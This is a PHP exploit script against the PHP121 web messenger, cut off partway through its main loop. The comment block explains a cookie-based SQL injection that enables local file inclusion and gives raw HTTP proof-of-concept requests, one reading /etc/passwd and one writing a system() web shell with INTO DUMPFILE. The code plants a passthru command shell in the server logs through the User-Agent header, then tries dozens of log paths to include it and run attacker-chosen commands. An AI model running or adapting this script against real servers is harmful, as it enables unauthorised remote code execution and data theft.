if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to PHP121\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /php121/ cat php121config.php\r\n";
echo "php ".$argv[0]." localhost /php121/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
die;
}

/*
software site: http://www.php121.com/
description: "PHP121 is a free web based instant messenger - written entirely in
PHP"

i) vulnerable code in php121login.php and in nearly all files:

...
if (isset($_COOKIE['php121un']) && isset($_COOKIE['php121pw'])) {
$logindataun = $_COOKIE['php121un'];
$logindatapw = $_COOKIE['php121pw'];
if (!empty($logindataun) && !empty($logindatapw)) {
//we have a cookie - use it to login, overriding any sessions
$_SESSION[sess_username]=$logindataun;
$_SESSION[sess_password]=$logindatapw;
}
}

$sess_username=$_SESSION[sess_username];
$sess_password=$_SESSION[sess_password];
...

in php121language.php we have:

...
$sess_username=$_SESSION[sess_username];
$sess_password=$_SESSION[sess_password];
// are we logged in?

if ($sess_username!="") {

// get our language preference
$sql="select $dbf_language from $db_usertable where $dbf_uname='$sess_username'";
echo "sql: ".$sql."\r\n";
$row=mysql_fetch_row(mysql_query($sql));
if ($row[0]!="") {
require_once("language/lang-".strtolower($row[0]).".php");

}

} else {

// use the default language file
require_once("language/lang-".strtolower($php121_config['default_language']).".php");

}
...

"sess_username" value is not sanitized before to be used in our query
so, if magic_quotes_gpc = Off, we can include arbitrary files from local
resources, poc:

GET /php121login.php HTTP/1.0
Host: somehost
Cookie: php121un=%27UNION+SELECT+%27..%2F..%2F..%2Fetc%2Fpasswd%00%27+FROM+php121_users%2F%2A; php121pw=suntzu;
Connection: Close

now session cookie is poisoned, and we can go to php121language.php
with our new cookie to see/include local resources, query becomes:

select php121_language from php121_users where uname=''UNION SELECT '../../../etc/passwd[null char]' FROM php121_users/*'

php121_language field is varchar(30) so, before MySQL 4.1.1,
your path is limited to 29 chars (so, it is nearly impossible
submit a valid inclusion path), with Mysql >=4.1.1 it does not matter,
path is not truncated anymore at the length of the first select field

we can also try blind injection, injecting a shell:

GET /php121login.php HTTP/1.0
Host: somehost
Cookie: php121un=%27UNION+SELECT+%27%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%27+INTO+DUMPFILE+%27somefile%27+FROM+php121_users%2F%2A; php121pw=suntzu;
Connection: Close

and now go to php121language.php to write our file, if MySQL have certain rigths
to do it

you can do the work trough a browser like Opera that allows to edit cookies

However, this exploit inject some code in log files and try to include them

*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Injecting some code in log files ...\r\n\r\n";
$CODE="<?php echo 56789;passthru(\$_COOKIE[cmd]);die;?>";
$packet="GET ".$p.$CODE." HTTP/1.0\r\n";
$packet.="User-Agent: ".$CODE." Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";
sendpacketii($packet);
sleep(1);

$paths=array(
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../../../../../../apache/logs/error.log",
"../../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../logs/error.log",
"../../../../../../logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log"
);

for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+2;
echo "[".$a."] Trying with: ".$paths[$i]."%00\r\n";
$sql="'UNION SELECT '".$paths[$i].chr(0x00)."' FROM php121_users/*";
$sql=urlencode($sql);
$packet ="GET ".$p."php121login.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: php121un=".$sql."; php121pw=suntzu;\r\n";
$packet.="Connection: Close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$cookie=$temp2[0];
echo "Cookie -> ".$cookie."\r\n\r\n";
if ($cookie=='') {
echo $html;
die("Something goes wrong...\r\n");
}